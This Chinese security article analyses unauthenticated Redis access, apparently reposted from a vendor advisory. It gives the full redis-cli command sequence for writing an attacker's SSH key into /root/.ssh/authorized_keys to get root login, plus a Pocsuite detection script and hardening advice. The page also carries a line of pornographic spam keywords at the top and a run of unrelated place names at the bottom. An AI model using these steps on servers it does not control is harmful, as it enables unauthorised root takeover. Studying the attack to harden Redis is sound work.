最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Redis未授權(quán)訪問配合SSH key文件利用詳解

 更新時間:2018年09月13日 14:27:19   投稿:daisy  
這篇文章主要給大家介紹了關(guān)于Redis未授權(quán)訪問配合SSH key文件利用的相關(guān)資料,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

前言

Redis是一個開源的使用ANSI C語言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API。

Redis 未授權(quán)訪問的問題是一直存在的問題,知道創(chuàng)宇安全研究團隊歷史上也做過相關(guān)的應(yīng)急,今日,又出現(xiàn) Redis 未授權(quán)訪問配合 SSH key 文件被利用的情況,導(dǎo)致一大批 Redis 服務(wù)器被黑,今天我們來簡要的分析下。

一、漏洞概述

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下可以利用 Redis 的相關(guān)方法,可以成功在 Redis 服務(wù)器上寫入公鑰,進而可以使用對應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。

1、漏洞描述

Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網(wǎng)絡(luò)中, 因為讓不受信任的客戶接觸到 Redis 是非常危險的” 。

Redis 作者之所以放棄解決未授權(quán)訪問導(dǎo)致的不安全性是因為, 99.99% 使用 Redis 的場景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時也增加了復(fù)雜性, 雖然這個問題的并不是不能解決的, 但是這在他的設(shè)計哲學(xué)中仍是不劃算的。

因為其他受信任用戶需要使用 Redis 或者因為運維人員的疏忽等原因,部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認證(這是Redis 的默認配置),如果沒有進行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,將會導(dǎo)致 Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進行相關(guān)操作。

利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接使用對應(yīng)的私鑰登錄目標(biāo)服務(wù)器。

2、漏洞影響

Redis 暴露在公網(wǎng)(即綁定在0.0.0.0:6379,目標(biāo)IP公網(wǎng)可訪問),并且沒有開啟相關(guān)認證和添加相關(guān)安全策略情況下可受影響而導(dǎo)致被利用。

通過ZoomEye 的搜索結(jié)果顯示,有97707在公網(wǎng)可以直接訪問的Redis服務(wù)。

根據(jù) ZoomEye 的探測,全球無驗證可直接利用Redis 分布情況如下:

全球無驗證可直接利用Redis TOP 10國家與地區(qū):

3、漏洞分析與利用

首先在本地生產(chǎn)公私鑰文件:

$ssh-keygen –t rsa

然后將公鑰寫入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再連接 Redis 寫入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執(zhí)行:

$ ssh –i id_rsa root@192.168.1.11

即可遠程利用自己的私鑰登錄該服務(wù)器。

當(dāng)然,寫入的目錄不限于 /root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過 Redis 很多以 root 權(quán)限運行,所以寫入 root 目錄下,可以跳過猜用戶的步驟。

4、Redis 未授權(quán)的其他危害與利用

a)數(shù)據(jù)庫數(shù)據(jù)泄露

Redis 作為數(shù)據(jù)庫,保存著各種各樣的數(shù)據(jù),如果存在未授權(quán)訪問的情況,將會導(dǎo)致數(shù)據(jù)的泄露,其中包含保存的用戶信息等。

b)代碼執(zhí)行

Redis可以嵌套Lua腳本的特性將會導(dǎo)致代碼執(zhí)行, 危害同其他服務(wù)器端的代碼執(zhí)行, 樣例如下        一旦攻擊者能夠在服務(wù)器端執(zhí)行任意代碼, 攻擊方式將會變得多且復(fù)雜, 這是非常危險的.

通過Lua代碼攻擊者可以調(diào)用 redis.sha1hex() 函數(shù),惡意利用 Redis 服務(wù)器進行 SHA-1 的破解。

c)敏感信息泄露

通過 Redis 的 INFO 命令, 可以查看服務(wù)器相關(guān)的參數(shù)和敏感信息, 為攻擊者的后續(xù)滲透做鋪墊。

可以看到泄露了很多 Redis 服務(wù)器的信息, 有當(dāng)前 Redis 版本, 內(nèi)存運行狀態(tài), 服務(wù)端個數(shù)等等敏感信息。

5、漏洞驗證

可以使用Pocsuite(http://github.com/knownsec/pocsuite)執(zhí)行以下的代碼可以用于測試目標(biāo)地址是否存在未授權(quán)的Redis服務(wù)。

#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
 
 
class TestPOC(POCBase):
 vulID = '89339'
 version = '1'
 author = ['Anonymous']
 vulDate = '2015-10-26'
 createDate = '2015-10-26'
 updateDate = '2015-10-26'
 references = ['http://sebug.net/vuldb/ssvid-89339']
 name = 'Redis 未授權(quán)訪問 PoC'
 appPowerLink = 'http://redis.io/'
 appName = 'Redis'
 appVersion = 'All'
 vulType = 'Unauthorized access'
 desc = '''
  redis 默認不需要密碼即可訪問,黑客直接訪問即可獲取數(shù)據(jù)庫中所有信息,造成嚴(yán)重的信息泄露。
 '''
 samples = ['']
 
 def _verify(self):
  result = {}
  payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
  s = socket.socket()
  socket.setdefaulttimeout(10)
  try:
   host = urlparse.urlparse(self.url).netloc
   port = 6379
   s.connect((host, port))
   s.send(payload)
   recvdata = s.recv(1024)
   if recvdata and 'redis_version' in recvdata:
    result['VerifyInfo'] = {}
    result['VerifyInfo']['URL'] = self.url
    result['VerifyInfo']['Port'] = port
  except:
   pass
  s.close()
  return self.parse_attack(result)
 
 def _attack(self):
  return self._verify()
 
 def parse_attack(self, result):
  output = Output(self)
  if result:
   output.success(result)
  else:
   output.fail('Internet nothing returned')
  return output
 
register(TestPOC)

二、安全建議

配置bind選項,限定可以連接Redis服務(wù)器的IP,修改 Redis 的默認端口6379

配置認證,也就是AUTH,設(shè)置密碼,密碼會以明文方式保存在Redis配置文件中

配置rename-command 配置項 “RENAME_CONFIG”,這樣即使存在未授權(quán)訪問,也能夠給攻擊者使用config 指令加大難度

好消息是Redis作者表示將會開發(fā)”real user”,區(qū)分普通用戶和admin權(quán)限,普通用戶將會被禁止運行某些命令,如config

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

相關(guān)文章

  • Redis實現(xiàn)多級緩存

    Redis實現(xiàn)多級緩存

    這篇文章主要為大家詳細介紹了Redis實現(xiàn)多級緩存,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-07-07
  • 解決Redis的緩存與數(shù)據(jù)庫雙寫不一致問題

    解決Redis的緩存與數(shù)據(jù)庫雙寫不一致問題

    在使用緩存和數(shù)據(jù)庫配合時,常見的CacheAsidePattern模式要求讀操作先訪問緩存,若缺失再讀數(shù)據(jù)庫并更新緩存;寫操作則是先寫數(shù)據(jù)庫后刪除緩存,但這種模式可能導(dǎo)致緩存與數(shù)據(jù)庫間的雙寫不一致問題
    2024-10-10
  • Linux環(huán)境下升級redis的詳細步驟記錄

    Linux環(huán)境下升級redis的詳細步驟記錄

    這篇文章主要給大家介紹了關(guān)于Linux環(huán)境下升級redis的詳細步驟,描述了如何從舊版本升級到新版本Redis,包括備份舊數(shù)據(jù)、下載和安裝新版本、復(fù)制配置文件和數(shù)據(jù)、停止舊版本并啟動新版本的過程,需要的朋友可以參考下
    2024-12-12
  • 攔截Redis命令導(dǎo)致的Lua腳本執(zhí)行失敗的問題解決

    攔截Redis命令導(dǎo)致的Lua腳本執(zhí)行失敗的問題解決

    本文主要介紹了攔截Redis命令導(dǎo)致的Lua腳本執(zhí)行失敗的問題解決,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-06-06
  • mac安裝redis全過程

    mac安裝redis全過程

    文章內(nèi)容主要介紹了如何從官網(wǎng)下載指定版本的Redis,以及如何在自定義目錄下安裝和啟動Redis,還提到了如何修改Redis的密碼和配置文件,以及使用RedisInsight進行可視化管理,最后,總結(jié)了一些常用的Redis命令
    2025-01-01
  • 解密Redis助力雙11背后電商秒殺系統(tǒng)(推薦)

    解密Redis助力雙11背后電商秒殺系統(tǒng)(推薦)

    這篇文章主要介紹了解密Redis助力雙11背后電商秒殺系統(tǒng),本文給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-10-10
  • 基于?Redis?實現(xiàn)接口限流的方式

    基于?Redis?實現(xiàn)接口限流的方式

    今天想和小伙伴們聊聊用?Redis?處理接口限流,這也是最近的?TienChin?項目涉及到這個知識點了,我就拎出來和大家聊聊這個話題
    2022-05-05
  • 使用Redis實現(xiàn)用戶積分排行榜的教程

    使用Redis實現(xiàn)用戶積分排行榜的教程

    這篇文章主要介紹了使用Redis實現(xiàn)用戶積分排行榜的教程,包括一個用PHP腳本進行操作的例子,需要的朋友可以參考下
    2015-04-04
  • Redis+Caffeine兩級緩存的實現(xiàn)

    Redis+Caffeine兩級緩存的實現(xiàn)

    本文主要介紹了Redis+Caffeine兩級緩存的實現(xiàn),文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-06-06
  • 使用Redis有序集合實現(xiàn)IP歸屬地查詢詳解

    使用Redis有序集合實現(xiàn)IP歸屬地查詢詳解

    這篇文章主要介紹了使用Redis有序集合實現(xiàn)IP歸屬地查詢,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-04-04

最新評論

长春市| 神木县| 乐昌市| 都江堰市| 马龙县| 彭泽县| 大洼县| 仲巴县| 威信县| 抚远县| 泾源县| 曲靖市| 安泽县| 醴陵市| 和林格尔县| 璧山县| 沙河市| 亳州市| 安仁县| 永善县| 福海县| 三河市| 讷河市| 修水县| 齐河县| 台东市| 苍山县| 临湘市| 乐业县| 平武县| 萨嘎县| 雅江县| 开阳县| 宣汉县| 沙洋县| 沙湾县| 东乡族自治县| 天气| 涿州市| 沙洋县| 高唐县|